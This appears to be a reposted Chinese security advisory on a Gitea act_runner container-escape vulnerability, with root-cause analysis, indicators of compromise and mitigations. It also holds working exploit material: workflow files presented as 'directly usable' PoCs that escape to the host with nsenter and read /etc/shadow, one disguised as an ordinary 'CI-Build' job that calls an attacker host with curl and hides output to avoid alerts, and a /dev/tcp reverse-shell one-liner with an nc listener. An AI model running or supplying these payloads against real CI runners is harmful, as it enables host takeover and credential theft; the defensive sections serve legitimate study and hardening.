【高危漏洞预警】Giteaact_runner容器逃逸漏洞CVE-2026-58053"

admin 2026-10-18 19:36:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【高危漏洞预警】Gitea act\_runner 容器逃逸漏洞CVE-2026-58053

飓风网络安全

2026年7月2日 22:59
北京

在小说阅读器读本章

去阅读

一、漏洞核心信息速览

二、漏洞原理与根因深度剖析
1. 架构背景:Gitea Actions 与 act\_runner 运行机制
Gitea Actions 是Gitea对标GitHub Actions的原生CI/CD功能,act\_runner 是其官方独立执行器,基于开源 gitea/act 库开发,负责接收Gitea主服务下发的工作流任务。
当act\_runner配置为Docker后端模式时,每一个CI作业(Job)都会独立启动一个Docker容器,在隔离的容器环境中执行用户定义的构建、测试、部署脚本,默认通过隔离机制防止恶意工作流影响宿主机。

  1. 漏洞核心成因:container.options 参数无有效过滤
    漏洞的根本原因是:工作流配置文件中的 jobs..container.options 字段,会被act库直接拼接追加到 docker run 命令的启动参数中,官方仅做了两项极有限的安全限制:
  2. 当runner配置禁用特权模式时,强制移除 --privileged 参数;

  3. 对 -v/--volume 绑定挂载参数做了基础过滤。

除此之外,所有其他Docker启动参数均未做黑名单校验与安全限制,包括但不限于:

• --pid=host:共享宿主机PID命名空间,容器内可见宿主机全部进程

• --ipc=host:共享宿主机IPC命名空间

• --cap-add=ALL:赋予容器全部Linux内核能力,包括 SYS\_ADMIN 等高权限能力

• --security-opt seccomp=unconfined:禁用Seccomp系统调用过滤

• --security-opt apparmor=unconfined:禁用AppArmor安全策略

攻击者只需在工作流中构造恶意options参数,即可突破容器隔离边界,结合Linux原生工具实现完整容器逃逸。

  1. 完整容器逃逸攻击链
  2. 参数注入:攻击者向目标仓库提交恶意工作流文件,在container.options中注入共享命名空间、全开权限的Docker参数;

  3. 特权容器创建:act\_runner拉取任务后,按拼接后的参数启动CI容器,容器获得宿主机PID命名空间与全部系统能力;

  4. 命名空间突破:容器内通过 nsenter 工具,挂载宿主机1号进程的命名空间,跳出容器隔离;

  5. 宿主机控制:以root身份在宿主机执行任意命令,写入后门、窃取凭证、横向渗透内网,完全接管runner节点。
    三、完整手动复现与利用步骤
    测试环境前提
    • Gitea 主服务已启用 Actions 功能

• 已部署 Docker 模式的 act\_runner,并绑定到测试仓库

• 攻击者拥有仓库普通写入权限(可提交代码、创建工作流)

步骤1:创建恶意工作流文件
在目标仓库的 .gitea/workflows/ 目录下,新建 escape.yaml 工作流配置文件,内容如下:
name: CVE-2026-58053 容器逃逸测试
on: [push]

jobs:
escape-job:
runs-on: docker
container:
image: ubuntu:22.04
# 漏洞核心:注入危险Docker启动参数
options: --pid=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined
steps:
- name: 执行容器逃逸并获取宿主机权限
run: |
# 安装nsenter工具(镜像默认无则安装)
apt update && apt install -y util-linux
# 通过nsenter进入宿主机命名空间,执行命令
nsenter -t 1 -m -u -i -n -p -- sh -c \"
echo '=== 宿主机权限验证 ==='
whoami
hostname
cat /etc/shadow | head -5
echo '=== 宿主机根目录文件 ==='
ls /
\"
# 如需反弹Shell,替换为对应命令即可
步骤2:提交代码触发工作流
将工作流文件提交并推送至仓库:
git add .gitea/workflows/escape.yaml
git commit -m \"test ci workflow\"
git push origin main
代码推送后,Gitea会自动触发Actions任务,调度act\_runner执行该工作流。

步骤3:查看执行结果验证逃逸
进入Gitea仓库的「Actions」页面,查看对应任务的运行日志:

• 若输出宿主机的主机名、root身份、宿主机/etc/shadow内容,证明容器逃逸成功,已获取宿主机root权限。

步骤4:进阶:反弹宿主机Shell
将工作流中run步骤的命令替换为反弹Shell payload,即可获取宿主机交互式权限:
nsenter -t 1 -m -u -i -n -p -- bash -i >& /dev/tcp/攻击机IP/443 0>&1
攻击机提前开启 nc -lvp 443 监听,即可收到宿主机的反向Shell。
四、POC利用代码
1. 核心利用POC(工作流文件,直接可用)

CVE-2026-58053 容器逃逸利用POC

用法:放入仓库 .gitea/workflows/ 目录,推送触发

name: CI-Build
on:
push:
branches: [ main ]
pull\_request:
branches: [ main ]

jobs:
build:
runs-on: docker
container:
image: alpine:3.20
options: --pid=host --cap-add SYS\_ADMIN --cap-add SYS\_PTRACE --security-opt seccomp=unconfined
steps:
- uses: actions/checkout@v4
- name: System Check
run: |
apk add --no-cache util-linux
# 静默执行宿主机命令,输出写入临时文件避免日志告警
nsenter -t 1 -m -u -i -n -p sh -c \"
echo 'poc\_success' > /tmp/.cve\_2026\_58053\_check
curl -s http://攻击机IP:8080/hostname > /dev/null 2>&1
\"
2. Python 批量自查脚本(企业内部资产巡检用)
用于批量排查内部Gitea仓库是否存在可利用的runner配置,仅用于授权内部检测:
import requests
import json

class CVE\2026\_58053\_Checker:
def \
\init\\_(self, gitea\_url, token):
self.base\_url = gitea\_url.rstrip(\"/\")
self.headers = {\"Authorization\": f\"token {token}\"}
self.vuln\_repos = []

def get\_user\_repos(self):
\"\"\"获取当前账号可访问的仓库列表\"\"\"
res = requests.get(f\"{self.base\_url}/api/v1/user/repos\", headers=self.headers, verify=False)
return res.json()

def check\_actions\_enabled(self, repo\_full\_name):
\"\"\"检查仓库是否启用Actions\"\"\"
res = requests.get(f\"{self.base\_url}/api/v1/repos/{repo\_full\_name}/actions/runners\",
headers=self.headers, verify=False)
if res.status\_code == 200:
runners = res.json().get(\"runners\", [])
# 筛选Docker模式的runner
docker\_runners = [r for r in runners if \"docker\" in r.get(\"labels\", [])]
return len(docker\_runners) > 0
return False

def scan(self):
repos = self.get\_user\_repos()
for repo in repos:
full\_name = repo[\"full\_name\"]
if self.check\_actions\_enabled(full\_name):
self.vuln\_repos.append(full\_name)
print(f\"[!] 存在风险仓库: {full\_name},已启用Docker runner\")
else:
print(f\"[+] 安全: {full\_name}\")

print(f\"\
扫描完成,共发现 {len(self.vuln\_repos)} 个存在风险的仓库\")
return self.vuln\_repos

if \\_name\\ == \"\\main\\_\":
# 配置参数
GITEA\_URL = \"https://your-gitea.com\"
ACCESS\_TOKEN = \"你的Gitea访问令牌\"

scanner = CVE\_2026\_58053\_Checker(GITEA\_URL, ACCESS\_TOKEN)
scanner.scan()
脚本使用说明
1. 依赖:Python3 + requests库,安装命令 pip install requests

  1. 需在Gitea个人设置中生成Access Token,具备仓库读取权限

  2. 仅用于企业内部资产自查,验证是否存在可被利用的runner配置
    五、入侵痕迹排查与IOC指标
    运维与安全团队可通过以下特征排查是否已遭受该漏洞攻击:

  3. 工作流配置异常:仓库 .gitea/workflows/ 下出现陌生工作流文件,container.options 字段包含 --pid=host、--cap-add=ALL、seccomp=unconfined 等危险参数;

  4. CI任务日志异常:Actions日志中出现 nsenter、mount 等高权限系统调用,或出现访问宿主机文件系统的操作记录;

  5. Docker容器特征:runner节点上运行的CI容器,启动参数包含host命名空间、全能力配置,可通过 docker inspect <容器ID> 核查;

  6. 宿主机进程异常:出现从容器PID命名空间发起的 nsenter 进程,或陌生的root权限后门进程、定时任务;

  7. 文件痕迹:宿主机 /tmp/、/root/.ssh/ 等目录出现异常写入的后门文件、SSH公钥。
    六、分级修复与加固方案(优先级从高到低)
    方案1:官方彻底修复(首选)

  8. 升级 act\_runner 至官方最新稳定版本,底层 gitea/act 组件将同步升级至v0.262.1及以上,官方已新增Docker参数黑名单校验,全面拦截危险启动选项;

  9. 官方下载地址:https://gitea.com/gitea/act\_runner/releases

方案2:无法紧急升级时的临时缓解措施
1. 限制工作流触发权限:关闭外部PR自动运行Actions功能,仅允许可信成员提交的工作流执行,配置路径:仓库设置 → Actions → 工作流权限;

  1. 收紧Runner权限:
    禁止以root身份运行act\_runner,使用普通用户+rootless Docker模式运行;

限制runner仅绑定内部可信仓库,不对外开放公共仓库使用;

  1. Docker层面加固:在Docker daemon配置中禁用危险参数,或通过AppArmor/SELinux强制限制容器的命名空间访问权限;

  2. WAF拦截规则:在Gitea前置代理中,拦截工作流提交请求中包含 --pid=host、--cap-add=ALL 等危险字符串的内容。

方案3:纵深防御加固
1. 对CI/CD集群做网络隔离,runner节点禁止直接访问核心业务内网;

  1. 部署主机EDR,监控 nsenter、unshare 等命名空间操作的异常进程,及时告警容器逃逸行为;

  2. 定期审计所有仓库的Actions工作流配置,排查异常container.options参数;

  3. 核心代码仓库禁用Docker runner,改用虚拟机或K8s隔离环境执行CI任务。
    七、风险总结
    CVE-2026-58053是典型的CI/CD供应链高危漏洞,利用门槛低、危害极大:攻击者仅需普通仓库写入权限,即可突破容器隔离完全接管CI执行节点,进而窃取全量代码、植入后门、横向渗透研发内网,对企业研发资产与数据安全构成严重威胁。
    当前公网大量自建Gitea实例均启用了Actions功能,且未及时升级runner组件,建议所有使用Gitea Actions的企业在24小时内完成版本升级与风险排查,封堵容器逃逸攻击入口。


【高危漏洞预警】Giteaact_runner容器逃逸漏洞CVE-2026-58053" 网络安全文章

【高危漏洞预警】Giteaact_runner容器逃逸漏洞CVE-2026-58053"

Giteaact_runner存在高危容器逃逸漏洞CVE-2026-58053。漏洞源于container.options参数未有效过滤,攻击者可通过提交恶意工作流文件注入危险Docker启动参数(如–pid=host、–cap-add=ALL),结合nsenter工具实现容器逃逸,完全控制宿主机。建议立即升级act_runner至最新版本,或采取限制工作流权限、收紧Runner权限等临时缓解措施,并排查入侵痕迹。
校招生入职,一点闲聊的话(网络安全)" 网络安全文章

校招生入职,一点闲聊的话(网络安全)"

文章是一位网络安全行业校招生入职后的个人体验分享,描述了加班无加班费、末尾淘汰制、领导与导师被更换等职场现象,以及由此产生的焦虑与无奈情绪,最后表达了可能回乡务农的消极想法,反映了行业新人面临的现实压力与心理落差。
云上“同名不同主”——存储劫持的信任悖论" 网络安全文章

云上“同名不同主”——存储劫持的信任悖论"

Unit42研究发现攻击者可利用云存储桶名称全局唯一性,通过删除目标存储桶并立即以同名重建的方式,将数据流静默劫持至自身账户窃取审计日志等关键数据。该攻击具有配置、运行状态及数据价值层面的多重隐蔽性。防御建议包括最小化删除权限、启用命名空间隔离、监控存储桶删除事件及定期审查数据流目标账户。
CyberStrikeAI更新:深色主题上线,RAG知识库全面升级" 网络安全文章

CyberStrikeAI更新:深色主题上线,RAG知识库全面升级"

CyberStrikeAI发布两项重要更新:全站深色主题和基于CloudWeGoEino重构的RAG知识检索管线。深色主题支持跟随系统/浅色/深色三种模式,覆盖核心界面,减轻视觉疲劳。RAG升级引入MultiQuery查询改写、HTTP精排、EinoCompose索引流水线及灵活后处理配置,提升安全场景下AI知识检索的精准度与稳定性。建议用户升级体验或从GitHub获取预构建知识库。
评论:0   参与:  0